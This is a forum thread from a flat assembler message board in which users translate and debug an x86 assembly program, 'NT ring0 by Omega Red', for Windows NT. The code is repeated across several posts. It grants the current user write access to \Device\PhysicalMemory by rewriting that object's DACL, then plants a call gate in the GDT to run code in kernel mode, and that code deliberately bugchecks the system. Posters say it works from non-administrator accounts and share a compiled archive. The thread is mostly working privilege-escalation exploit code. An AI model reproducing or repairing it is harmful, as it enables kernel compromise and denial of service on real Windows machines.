flat assembler
Message board for the users of flat assembler.

Index > Windows > Help transalating fixing huge nasm code

Goto page 1, 2  Next
Author
Thread Post new topic Reply to topic
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
Code:
SystemModuleInformation equ 11
MAXIMUM_FILENAME_LENGTH equ 256

struc SYSTEM_MODULE
  .dReserved01 resd 1
  .d04 resd 1
  .pAddress resd 1
  .dSize resd 1 ; bytes
  .dFlags resd 1
  .wId resw 1 ; zero based
  .wRank resw 1 ; 0 if not assigned
  .w18 resw 1
  .wNameOffset resw 1
  .abName resb MAXIMUM_FILENAME_LENGTH
endstruc

SYSTEM_MODULE_SIZE equ 284
MAX_MODULE_COUNT equ 1024

struc SYSTEM_MODULE_INFORMATION
  .dCount resd 1
  .m_tam resb SYSTEM_MODULE_SIZE*MAX_MODULE_COUNT ; arbitrary max count - not defined anywhere
endstruc

SYSTEM_MODULE_INFORMATION_SIZE equ 290820
;-- ------------------------------------------------------------------
section .code   use32
start:
        mov             edi, modinfo
        mov             ecx, SYSTEM_MODULE_INFORMATION_SIZE/4
        xor             eax, eax
        rep             stosd

; get allocation granularity (used in memory mapping)
        callf           GetSystemInfo, sys_info

        ; find NtOsKrnl base
        call            GetNtoskrnl

        ; open handle to the object
        callf           NtOpenSection, mem_section, WRITE_DAC|READ_CONTROL, obj_attr
        callf           NtErrorTest, e_opens1

        ; get security descriptor
        callf           GetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, p_old_dacl, 0, p_sec_descr
        callf           ErrorTestZ, e_getsec

        ; modify access rights ;]
        mov             dword [access+EXPLICIT_ACCESS.grfAccessPermissions], SECTION_ALL_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfAccessMode], GRANT_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfInheritance], NO_INHERITANCE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.MultipleTrusteeOperation], NO_MULTIPLE_TRUSTEE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeForm], TRUSTEE_IS_NAME
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeType], TRUSTEE_IS_USER
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.ptstrName], s_cur_user

        ; create new acl
        callf           SetEntriesInAclA, 1, access, [p_old_dacl], p_new_dacl
        callf           ErrorTestZ, e_setacl

        ; update security descriptor with new acl
        callf           SetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, [p_new_dacl], 0
        callf           ErrorTestZ, e_setsec

        callf           LocalFree, p_sec_descr
        callf           NtClose, [mem_section]

        ; ok.. now we have writable physical memory ;]
        ; open it in r/w mode
        callf           NtOpenSection, mem_section, SECTION_MAP_READ|SECTION_MAP_WRITE, obj_attr
        callf           NtErrorTest, e_opens2

        ; setup callgate (proc offset)
        mov             eax, ring0_proc
        mov             [callgate], ax
        shr             eax, 16
        mov             [callgate+6], ax

        ; get gdt
        sgdt            [gdt]
        movzx           ebx, word [gdt_limit]
        mov             eax, [gdt_base]
        call            GetPhysicalAddress
        mov             [phys_address], eax
        callf           MapMemory, [gdt_base], ebx, PAGE_READWRITE

        ; install callgate to our ring0 code in gdt - entry #100 (free)
        ; this should *find* some empty descriptor, but i'm too lazy at the moment ;P
        mov             eax, [map_base]
        push            dword [callgate]
        pop             dword [eax+100*8]
        push            dword [callgate+4]
        pop             dword [eax+100*8+4]

        ; ok.. almost there.. prepare far call
        mov             word [farcall+4], 100*8+3       ; our callgate selector

        ; lock the ring0 code to minimize chance that it will be paged out
        ; well, it *can* be paged out, only code in nonpaged kernel pool *can't* be really paged...
        callf           VirtualLock, ring0_proc, ring0_end-ring0_proc

        ; and.. jump!
        push            dword [ntoskrnl]
        call far [farcall]

        ; cleanup
        callf           VirtualUnlock, ring0_proc, ring0_end-ring0_proc
        callf           NtUnmapViewOfSection, -1, [map_base]
        callf           NtErrorTest, e_unmaps
        callf           NtClose, [mem_section]
        ret
;--------------------------------------------------------------------
GetNtoskrnl:
        ; enum modules
        callf           NtQuerySystemInformation, SystemModuleInformation, modinfo, SYSTEM_MODULE_INFORMATION_SIZE, 0
        callf           NtErrorTest, e_query
        mov             ebx, [modinfo]          ; count
        mov             esi, modinfo+4          ; 1st module

.1:                                                                     ; loop
        mov             edi, esi
        add             edi, SYSTEM_MODULE.abName
        callf           PathFindFileNameA, edi
        or                      dword [eax], 0x20202020 ; convert to lowercase
        cmp             dword [eax], 'ntos'
        jne             .2
        or                      dword [eax+4], 0x20202020
        cmp             dword [eax+4], 'krnl'
        jne             .2
        or                      dword [eax+8], 0x20202020
        cmp             dword [eax+8], '.exe'
        jne             .2

        ; ok, seems we have it (although should check for 0 at the end, maybe its `ntoskrnl.exe.blah' ;P)
        mov             eax, [esi+SYSTEM_MODULE.pAddress]       ; base in memory
        mov             [ntoskrnl], eax
        ret

.2:
        add             esi, SYSTEM_MODULE_SIZE
        dec             ebx
        jns             .1

        ; umm.. ntoskrnl not found - quite unlikely to happen ;]
        callf           MessageBoxA, 0, e_ntos, 0, 0
        callf           ExitProcess, 2
;--------------------------------------------------------------------
; substitute for MmGetPhysicalAddress - not always ok, but for this purpose sufficient
; input: linear address in eax
GetPhysicalAddress:
        cmp             eax, 0x80000000
        jae             .1
        cmp             eax, 0xA0000000
        jb                      .1
        and             eax, 0x0FFFF000
        ret
.1:
        and             eax, 0x1FFFF000
        ret
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
MapMemory:
sproc           base, size, access_mode
        mov             eax, base                       ; address
        xor             edx, edx
        push            eax
        div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
        mov             edi, edx
        pop             eax
        mov             ebx, size                       ; size
        inc             ebx
        mov             esi, ebx                                ; mapped size
        add             esi, edi
        sub             eax, edi
        call            GetPhysicalAddress
        mov             [phys_address], eax
        mov             [mapped_size], esi
        mov             eax, [mem_section]
        callf           NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, access_mode
        add             [map_base], edi
        callf           NtErrorTest, e_maps
endsproc
;--------------------------------------------------------------------
NtErrorTest:
sproc   er_msg
        test            eax, eax
        jz                      .ok
        callc           wsprintfA, txtbuf, f_err, er_msg, eax
        callf           MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        callf           NtClose, [mem_section]
        callf           ExitProcess, 1
.ok:
endsproc
;--------------------------------------------------------------------
ErrorTest:
sproc   e_msg
        test            eax, eax
        jnz             .ok
        call            GetLastError
        callc           wsprintfA, txtbuf, f_err, e_msg, eax
        callf           MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        callf           NtClose, [mem_section]
        callf           ExitProcess, 1
.ok:
endsproc
;--------------------------------------------------------------------
ErrorTestZ:
sproc   e1_msg
        test            eax, eax
        jz                      .ok
        call            GetLastError
        callc           wsprintfA, txtbuf, f_err, e1_msg, eax
        callf           MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        callf           NtClose, [mem_section]
        callf           ExitProcess, 1
.ok:
endsproc
;--------------------------------------------------------------------
; the real deal ;]
ring0_proc:
        cli
        mov             eax, [esp+8]                    ; param - ntoskrnl base

        push            ebx
        push            edx
        push            esi
        push            edi
; find KeBugCheckEx in exports
        mov             ebx, eax
        add             eax, [eax+0x3c]
        mov             edi, dword [eax+0x78]
        add             edi, ebx
        mov             esi, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
        add             esi, ebx

        xor             edx, edx
.name:
        mov             eax, [esi]
        add             eax, ebx
        ; check function name
        cmp             dword [eax+00h], "KeBu"
        jne             .F
        cmp             dword [eax+04h], "gChe"
        jne             .F
        cmp             dword [eax+08h], "ckEx"
        jne             .F
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
        add             eax, ebx
        movzx           esi, word [edx*2+eax]
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
        add             eax, ebx
        mov             esi, [esi*4+eax]
        add             esi, ebx
        jmp             .fnd
.F:
        add             esi, 4
        inc             edx
        cmp             edx, [edi+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        jne             .name
.fnd:
        mov             eax, esi

        pop             edi
        pop             esi
        pop             edx
        pop             ebx

;       int3
        callf           eax, 0xdeadbeef, 0xdead, 0xbeef, 0xcafe, 0xbabe
        retf 4

ring0_end:
;--------------------------------------------------------------------
section .data
        m_caption               db              "NT ring0 by Omega Red",0
        f_err                           db              "Error: %s, code: 0x%x",0
        e_opens1                        db              "NtOpenSection for DACL access failed",0
        e_opens2                        db              "NtOpenSection for r/w failed",0
        e_getsec                        db              "GetSecurityInfo failed",0
        e_setacl                        db              "SetEntriesInAclA failed",0
        e_setsec                        db              "SetSecurityInfo failed",0
        e_maps                  db              "NtMapViewOfSection failed",0
        e_unmaps                        db              "NtUnmapViewOfSection failed",0
        e_query                 db              "NtQuerySystemInformation failed",0
        e_ntos                  db              "ntoskrnl.exe module not found in memory!",0
        s_cur_user              db              "CURRENT_USER",0

        align 4
        callgate                        dw              0                                                       ; low part of address
                                                dw              8                                                       ; segment selector: #define KGDT_R0_CODE    8
                                                dw              1110110000000001b               ; misc bits ;P (5 lowest = # of params)
                                                dw              0                                                       ; high part of address

        align 4
        s_mem_dev_uni   db              "\",0,"D",0,"e",0,"v",0,"i",0,"c",0,"e",0,"\",0,"P",0,"h",0,"y",0,"s",0
                                                db              "i",0,"c",0,"a",0,"l",0,"M",0,"e",0,"m",0,"o",0,"r",0,"y",0
        mem_dev_uni_len equ     $-s_mem_dev_uni

        align 4
        mem_dev_name:           ; unicode_string
                                        dw              mem_dev_uni_len
                                        dw              mem_dev_uni_len+2
                                        dd              s_mem_dev_uni

        phys_address    dd      0,0

        align 4
        obj_attr:       dd              OBJECT_ATTRIBUTES_SIZE
                                        dd              0
                                        dd              mem_dev_name
                                        dd              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
                                        dd              0
                                        dd              0

        access          times   EXPLICIT_ACCESS_SIZE    db      0
;--------------------------------------------------------------------
section .bss
        gdt:
        gdt_limit               resw    1
        gdt_base                        resd    1
        farcall:                        resw    3
        txtbuf                  resb    4096
        mem_section             resd    1
        mapped_size             resd    1
        map_base                        resd    1
        p_old_dacl              resd    1
        p_new_dacl              resd    1
        p_sec_descr             resd    1
        sys_info                        resb    SYSTEM_INFO_SIZE
        ntoskrnl                        resd    1
        align 4
        modinfo                 resb    SYSTEM_MODULE_INFORMATION_SIZE
    




This is what I got so far now

Code:
struct SYSTEM_INFO
  wProcessorArchitecture      dw ?
  wReserved                   dw ?
  dwPageSize                  dd ?
  lpMinimumApplicationAddress dd ?
  lpMaximumApplicationAddress dd ?
  dwActiveProcessorMask       dd ?
  dwNumberOfProcessors        dd ?
  dwProcessorType             dd ?
  dwAllocationGranularity     dd ?
  wProcessorLevel             dw ?
  wProcessorRevision          dw ?
ends

struct SYSTEM_MODULE  
Reserved1 dw 2 DUP(?) 
Reserved2 dw 2 DUP(?)
ImageBaseAddress dw ? 
ImageSize dw ? 
Flags dw ? 
Index dd ? 
Unknown dd ? 
ModuleNameOffset dd ? 
ImageName db 256 DUP(?) 
ends

 struct SYSTEM_MODULE_INFORMATION 


 ModulesCount       dw     ?      ;
  Modules  SYSTEM_MODULE    (?);

ends

struct OBJECT_ATTRIBUTES  
nLength dw ? 
RootDirectory dw ? 
ObjectName dw ? 
Attributes dw ? 
SecurityDescriptor dw ?  
SecurityQualityOfService dw ? 
 ends 

OBJ_CASE_INSENSITIVE            equ     40h
OBJ_KERNEL_HANDLE               equ 200h
SE_KERNEL_OBJECT                equ     6
DACL_SECURITY_INFORMATION       equ     4
GRANT_ACCESS                    equ     1
NO_INHERITANCE equ 0
NO_MULTIPLE_TRUSTEE equ  0
TRUSTEE_IS_NAME                 equ 1
TRUSTEE_IS_USER                 equ 1 
KGDT_R0_CODE  equ 8
REVOKE_ACCESS equ 800

          gdt:
        gdt_limit               rw      1
        gdt_base                  rd    1
        
        farcall:                        rw      3
        txtbuf                  rb      4096
        mem_section             rd      1
        mapped_size             rd      1
        map_base                  rd    1
        p_old_dacl              rd      1
        p_new_dacl              rd      1
        p_sec_descr             rd      1
        sys_info                        rb      SYSTEM_INFO_SIZE
        ntoskrnl                        rd      1
        align 4
        modinfo                 rb      SYSTEM_MODULE_INFORMATION_SIZE

     m_caption          db              "NT ring0 by Omega Red",0
        f_err                           db              "Error: %s, code: 0x%x",0
        e_opens1                        db              "NtOpenSection for DACL access failed",0
        e_opens2                        db              "NtOpenSection for r/w failed",0
        e_getsec                        db              "GetSecurityInfo failed",0
        e_setacl                        db              "SetEntriesInAclA failed",0
        e_setsec                        db              "SetSecurityInfo failed",0
        e_maps                  db              "NtMapViewOfSection failed",0
        e_unmaps                        db              "NtUnmapViewOfSection failed",0
        e_query                 db              "NtQuerySystemInformation failed",0
        e_ntos                  db              "ntoskrnl.exe module not found in memory!",0
        s_cur_user              db              "CURRENT_USER",0

        align 4
        callgate                        dw              0                                                       ; low part of address
                                                dw              8                                                       ; segment selector: #define KGDT_R0_CODE    8
                                                dw              1110110000000001b               ; misc bits ;P (5 lowest = # of params)
                                                dw              0                                                       ; high part of address

        align 4
        s_mem_dev_uni   db              "\",0,"D",0,"e",0,"v",0,"i",0,"c",0,"e",0,"\",0,"P",0,"h",0,"y",0,"s",0
                                                db              "i",0,"c",0,"a",0,"l",0,"M",0,"e",0,"m",0,"o",0,"r",0,"y",0
                                                
        mem_dev_uni_len equ     $-s_mem_dev_uni

        align 4
        mem_dev_name:           ; unicode_string
                                        dw              mem_dev_uni_len
                                        dw              mem_dev_uni_len+2
                                        dd              s_mem_dev_uni

        phys_address    dd      0,0

        align 4
        

        access          times   EXPLICIT_ACCESS_SIZE    db      0

     
     
     
     
     
     ring0start:
     mov                edi, modinfo
        mov             ecx, SYSTEM_MODULE_INFORMATION_SIZE/4
        xor             eax, eax
        rep             stosd

; get allocation granularity (used in memory mapping)
        invoke  GetSystemInfo, sys_info

        ; find NtOsKrnl base
        call            GetNtoskrnl

        ; open handle to the object
        invoke          NtOpenSection, mem_section, WRITE_DAC OR READ_CONTROL, obj_attr
        invoke          NtErrorTest, e_opens1

        ; get security descriptor
        invoke          GetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, p_old_dacl, 0, p_sec_descr
        invoke          ErrorTestZ, e_getsec

        ; modify access rights ;]
        mov             dword [access+EXPLICIT_ACCESS.grfAccessPermissions], SECTION_ALL_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfAccessMode], GRANT_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfInheritance], NO_INHERITANCE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.MultipleTrusteeOperation], NO_MULTIPLE_TRUSTEE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeForm], TRUSTEE_IS_NAME
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeType], TRUSTEE_IS_USER
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.ptstrName], s_cur_user

        ; create new acl
        invoke          SetEntriesInAclA, 1, access, [p_old_dacl], p_new_dacl
        invoke          ErrorTestZ, e_setacl

        ; update security descriptor with new acl
        invoke          SetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, [p_new_dacl], 0
        invoke          ErrorTestZ, e_setsec

        invoke          LocalFree, p_sec_descr
        invoke          NtClose, [mem_section]

        ; ok.. now we have writable physical memory ;]
        ; open it in r/w mode
        invoke          NtOpenSection, mem_section, SECTION_MAP_READ OR SECTION_MAP_WRITE, obj_attr
        invoke          NtErrorTest, e_opens2

        ; setup callgate (proc offset)
        mov             eax, ring0_proc
        mov             [callgate], ax
        shr             eax, 16
        mov             [callgate+6], ax

        ; get gdt
        sgdt            [gdt]
        movzx           ebx, word [gdt_limit]
        mov             eax, [gdt_base]
        call            GetPhysicalAddress
        mov             [phys_address], eax
        invoke          MapMemory, [gdt_base], ebx, PAGE_READWRITE

        ; install callgate to our ring0 code in gdt - entry #100 (free)
        ; this should *find* some empty descriptor, but i'm too lazy at the moment ;P
        mov             eax, [map_base]
        push            dword [callgate]
        pop             dword [eax+100*8]
        push            dword [callgate+4]
        pop             dword [eax+100*8+4]

        ; ok.. almost there.. prepare far call
        mov             word [farcall+4], 100*8+3       ; our callgate selector

        ; lock the ring0 code to minimize chance that it will be paged out
        ; well, it *can* be paged out, only code in nonpaged kernel pool *can't* be really paged...
        invoke          VirtualLock, ring0_proc, ring0_end-ring0_proc

        ; and.. jump!
        push            dword [ntoskrnl]
        call far [farcall]

        ; cleanup
        invoke          VirtualUnlock, ring0_proc, ring0_end-ring0_proc
        invoke          NtUnmapViewOfSection, -1, [map_base]
        invoke          NtErrorTest, e_unmaps
        invoke          NtClose, [mem_section]
        ret
;--------------------------------------------------------------------
GetNtoskrnl:
        ; enum modules
        invoke          NtQuerySystemInformation, SystemModuleInformation, modinfo, SYSTEM_MODULE_INFORMATION_SIZE, 0
        invoke          NtErrorTest, e_query
        mov             ebx, [modinfo]          ; count
        mov             esi, modinfo+4          ; 1st module

.1:                                                                     ; loop
        mov             edi, esi
        add             edi, SYSTEM_MODULE.abName
        invoke          PathFindFileNameA, edi
        or                      dword [eax], 0x20202020 ; convert to lowercase
        cmp             dword [eax], 'ntos'
        jne             .2
        or                      dword [eax+4], 0x20202020
        cmp             dword [eax+4], 'krnl'
        jne             .2
        or                      dword [eax+8], 0x20202020
        cmp             dword [eax+8], '.exe'
        jne             .2

        ; ok, seems we have it (although should check for 0 at the end, maybe its `ntoskrnl.exe.blah' ;P)
        mov             eax, [esi+SYSTEM_MODULE.pAddress]       ; base in memory
        mov             [ntoskrnl], eax
        ret

.2:
        add             esi, SYSTEM_MODULE_SIZE
        dec             ebx
        jns             .1

        ; umm.. ntoskrnl not found - quite unlikely to happen ;]
        invoke          MessageBoxA, 0, e_ntos, 0, 0
        invoke          ExitProcess, 2
;--------------------------------------------------------------------
; substitute for MmGetPhysicalAddress - not always ok, but for this purpose sufficient
; input: linear address in eax
GetPhysicalAddress:
        cmp             eax, 0x80000000
        jae             .1
        cmp             eax, 0xA0000000
        jb                      .1
        and             eax, 0x0FFFF000
        ret
.1:
        and             eax, 0x1FFFF000
        ret
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
MapMemory:
proc            base, size, access_mode
        mov             eax, base                       ; address
        xor             edx, edx
        push            eax
        div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
        mov             edi, edx
        pop             eax
        mov             ebx, size                       ; size
        inc             ebx
        mov             esi, ebx                                ; mapped size
        add             esi, edi
        sub             eax, edi
        call            GetPhysicalAddress
        mov             [phys_address], eax
        mov             [mapped_size], esi
        mov             eax, [mem_section]
        invoke          NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, access_mode
        add             [map_base], edi
        invoke          NtErrorTest, e_maps
endp
;--------------------------------------------------------------------
NtErrorTest:
proc    er_msg
        test            eax, eax
        jz                      .ok
        callc           wsprintfA, txtbuf, f_err, er_msg, eax
        invoke          MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
endp
;--------------------------------------------------------------------
ErrorTest:
proc    e_msg
        test            eax, eax
        jnz             .ok
        call            GetLastError
        callc           wsprintfA, txtbuf, f_err, e_msg, eax
        invoke          MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
endp
;--------------------------------------------------------------------
ErrorTestZ:
proc    e1_msg
        test            eax, eax
        jz                      .ok
        call            GetLastError
        callc           wsprintfA, txtbuf, f_err, e1_msg, eax
        invoke          MessageBoxA, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
endp
;--------------------------------------------------------------------
; the real deal ;]
ring0_proc:
        cli
        mov             eax, [esp+8]                    ; param - ntoskrnl base

        push            ebx
        push            edx
        push            esi
        push            edi
; find KeBugCheckEx in exports
        mov             ebx, eax
        add             eax, [eax+0x3c]
        mov             edi, dword [eax+0x78]
        add             edi, ebx
        mov             esi, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
        add             esi, ebx

        xor             edx, edx
.name:
        mov             eax, [esi]
        add             eax, ebx
        ; check function name
        cmp             dword [eax+00h], "KeBu"
        jne             .F
        cmp             dword [eax+04h], "gChe"
        jne             .F
        cmp             dword [eax+08h], "ckEx"
        jne             .F
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
        add             eax, ebx
        movzx           esi, word [edx*2+eax]
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
        add             eax, ebx
        mov             esi, [esi*4+eax]
        add             esi, ebx
        jmp             .fnd
.F:
        add             esi, 4
        inc             edx
        cmp             edx, [edi+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        jne             .name
.fnd:
        mov             eax, esi

        pop             edi
        pop             esi
        pop             edx
        pop             ebx

;       int3
        invoke          eax, 0xdeadbeef, 0xdead, 0xbeef, 0xcafe, 0xbabe
        retf 4
    



Since this is nasm... the syntax is almost exact as fasm... The only problem I currently have are the type defintions rb,rw and all that. I'm not sure if I did that correctly.Also getting all the structures is hell

These are the structures I transalated from:
Code:
typedef struct _SYSTEM_MODULE {


  ULONG                Reserved1;
  ULONG                Reserved2;
  PVOID                ImageBaseAddress;
  ULONG                ImageSize;
  ULONG                Flags;
  WORD                 Id;
  WORD                 Rank;
  WORD                 w018;
  WORD                 NameOffset;
  BYTE                 Name[MAXIMUM_FILENAME_LENGTH];


} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION {


  ULONG                ModulesCount;
  SYSTEM_MODULE        Modules[0];


} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
    
Post 04 Mar 2006, 00:10
View user's profile Send private message Reply with quote
okasvi



Joined: 18 Aug 2005
Posts: 382
Location: Finland
okasvi
i started converting it too and noticed that there is 3 procs that do the same thing Neutral

_________________
When We Ride On Our Enemies
support reverse smileys |:
Post 04 Mar 2006, 11:40
View user's profile Send private message MSN Messenger Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
Do you have aim?? or msn ? Maybe we can help each other out
Post 04 Mar 2006, 13:07
View user's profile Send private message Reply with quote
okasvi



Joined: 18 Aug 2005
Posts: 382
Location: Finland
okasvi
its on my profile or below my every post Razz
ive already compiled and just closed msn, xchat etc. to test if it works Smile

edit: didnt, 1. something fcked up in imports, had to use loadlibrary etc. or it just kept crashing, 2. some other stuff still doesnt work..


Description: updated, alot of changes :|
Download
Filename: ring0nt_fasm.rar
Filesize: 8.79 KB
Downloaded: 47 Time(s)


_________________
When We Ride On Our Enemies
support reverse smileys |:
Post 04 Mar 2006, 13:17
View user's profile Send private message MSN Messenger Reply with quote
Vasilev Vjacheslav



Joined: 11 Aug 2004
Posts: 392
Vasilev Vjacheslav
seems the link i gave some days ago make little tumult Wink
Post 04 Mar 2006, 17:27
View user's profile Send private message Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
This works on non-administrator accounts?
Post 04 Mar 2006, 17:57
View user's profile Send private message Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
ya
Post 04 Mar 2006, 20:35
View user's profile Send private message Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
Code:
OBJ_CASE_INSENSITIVE            equ     40h
OBJ_KERNEL_HANDLE               equ 200h
SE_KERNEL_OBJECT                equ     6
DACL_SECURITY_INFORMATION       equ     4
GRANT_ACCESS                    equ     1
NO_INHERITANCE equ 0
NO_MULTIPLE_TRUSTEE equ  0
TRUSTEE_IS_NAME                 equ 1
TRUSTEE_IS_USER                 equ 1 
KGDT_R0_CODE  equ 8
REVOKE_ACCESS equ 800
SYSTEM_MODULE_SIZE equ 284
MAX_MODULE_COUNT equ 1024
SYSTEM_MODULE_INFORMATION_SIZE equ 290820
SystemModuleInformation                                 equ     11
MAXIMUM_FILENAME_LENGTH                                 equ     256
          gdt:
        gdt_limit               rw      1
        gdt_base                  rd    1
        
        farcall:                        rw      3
        txtbuf                  rb      4096
        mem_section             rd      1
        mapped_size             rd      1
        map_base                  rd    1
        p_old_dacl              rd      500
        p_new_dacl              rd      500
        p_sec_descr             rd      500
        sys_info                                SYSTEM_INFO
        ntoskrnl                        rd      1
        align 4
        modinfo                 rb      SYSTEM_MODULE_INFORMATION_SIZE

     m_caption          db              "NT ring0 by Omega Red",0
        f_err                           db              "Error: %s, code: 0x%x",0
        e_opens1                        db              "NtOpenSection for DACL access failed",0
        e_opens2                        db              "NtOpenSection for r/w failed",0
        e_getsec                        db              "GetSecurityInfo failed",0
        e_setacl                        db              "SetEntriesInAclA failed",0
        e_setsec                        db              "SetSecurityInfo failed",0
        e_maps                  db              "NtMapViewOfSection failed",0
        e_unmaps                        db              "NtUnmapViewOfSection failed",0
        e_query                 db              "NtQuerySystemInformation failed",0
        e_ntos                  db              "ntoskrnl.exe module not found in memory!",0
        s_cur_user              db              "CURRENT_USER",0

        align 4
        callgate                        dw              0                                                       ; low part of address
                                                dw              8                                                       ; segment selector: #define KGDT_R0_CODE    8
                                                dw              1110110000000001b               ; misc bits ;P (5 lowest = # of params)
                                                dw              0                                                       ; high part of address

        align 4
        s_mem_dev_uni   db              "\",0,"D",0,"e",0,"v",0,"i",0,"c",0,"e",0,"\",0,"P",0,"h",0,"y",0,"s",0
                                                db              "i",0,"c",0,"a",0,"l",0,"M",0,"e",0,"m",0,"o",0,"r",0,"y",0
                                                
        mem_dev_uni_len equ     $-s_mem_dev_uni

        align 4
        mem_dev_name:           ; unicode_string
                                        dw              mem_dev_uni_len
                                        dw              mem_dev_uni_len+2
                                        dd              s_mem_dev_uni

        phys_address    dd      0,0

        align 4
        
           EXPLICIT_ACCESS_SIZE equ EXPLICIT_ACCESS_END-EXPLICIT_ACCESS_BEG
        access:         
        times   EXPLICIT_ACCESS_SIZE    db      0

     align 4
        obj_attr:       dd              obj_attr_end-obj_attr
                                        dd              0
                                        dd              mem_dev_name
                                        dd              OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE
                                        dd              0
                                        dd              0
        obj_attr_end:
   
     
     struct SYSTEM_MODULE
                 Reserved1 rd 1     <-- using stuff like this Flags dw ? or ImageName 256 db (?) screws up the code Dont know why
                Reserved2 rd 1
                ImageBaseAddress  rd 1
                ImageSize rd 1 ; bytes
                Flags rd 1
                Index rw 1 ; zero based
                wRank rw 1 ; 0 if not assigned
                Unknown  rw 1
                ModuleNameOffset rw 1
                ImageName rb MAXIMUM_FILENAME_LENGTH
        ends
     
     ring0start:
     mov                edi, modinfo
        mov             ecx, SYSTEM_MODULE_INFORMATION_SIZE/4
        xor             eax, eax
        rep             stosd

; get allocation granularity (used in memory mapping)
        invoke  GetSystemInfo, sys_info

        ; find NtOsKrnl base
        call            GetNtoskrnl

        ; open handle to the object
        invoke          NtOpenSection, mem_section, WRITE_DAC OR READ_CONTROL, obj_attr
        stdcall NtErrorTest ,e_opens1

        ; get security descriptor
        invoke          GetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, p_old_dacl, 0, p_sec_descr <-- insufficent buffer... How to fix this???
        stdcall         ErrorTestZ, e_getsec

        ; modify access rights ;]
        mov             dword [access+EXPLICIT_ACCESS.grfAccessPermissions], SECTION_ALL_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfAccessMode], GRANT_ACCESS
        mov             dword [access+EXPLICIT_ACCESS.grfInheritance], NO_INHERITANCE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.MultipleTrusteeOperation], NO_MULTIPLE_TRUSTEE
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeForm], TRUSTEE_IS_NAME
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.TrusteeType], TRUSTEE_IS_USER
        mov             dword [access+EXPLICIT_ACCESS.Trustee+TRUSTEE.ptstrName], s_cur_user

        ; create new acl
        invoke          SetEntriesInAcl, 1, access, [p_old_dacl], p_new_dacl
        stdcall         ErrorTestZ, e_setacl

        ; update security descriptor with new acl
        invoke          SetSecurityInfo, [mem_section], SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, [p_new_dacl], 0
        stdcall         ErrorTestZ, e_setsec

        invoke          LocalFree, p_sec_descr
        invoke          NtClose, [mem_section]

        ; ok.. now we have writable physical memory ;]
        ; open it in r/w mode
        invoke          NtOpenSection, mem_section, SECTION_MAP_READ OR SECTION_MAP_WRITE, obj_attr <-- FAILS
        stdcall         NtErrorTest, e_opens2

        ; setup callgate (proc offset)
        mov             eax, ring0_proc
        mov             [callgate], ax
        shr             eax, 16
        mov             [callgate+6], ax

        ; get gdt
        sgdt            [gdt]
        movzx           ebx, word [gdt_limit]
        mov             eax, [gdt_base]
        call            GetPhysicalAddress
        mov             [phys_address], eax
        stdcall         MapMemory, [gdt_base], ebx, PAGE_READWRITE

        ; install callgate to our ring0 code in gdt - entry #100 (free)
        ; this should *find* some empty descriptor, but i'm too lazy at the moment ;P
        mov             eax, [map_base]
        push            dword [callgate]
